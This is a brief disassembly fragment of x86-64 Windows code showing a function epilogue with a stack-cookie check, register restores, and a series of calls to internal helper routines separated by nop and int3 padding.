mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.14001e280
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400011e0
nop
call fcn.140001280
nop
call fcn.140001280
nop
call fcn.140001280
nop
call fcn.140001280
nop
call fcn.140001280
nop
call fcn.140001280
nop
call fcn.140001280
int3
call fcn.1400011e0
nop
call fcn.140001280
int3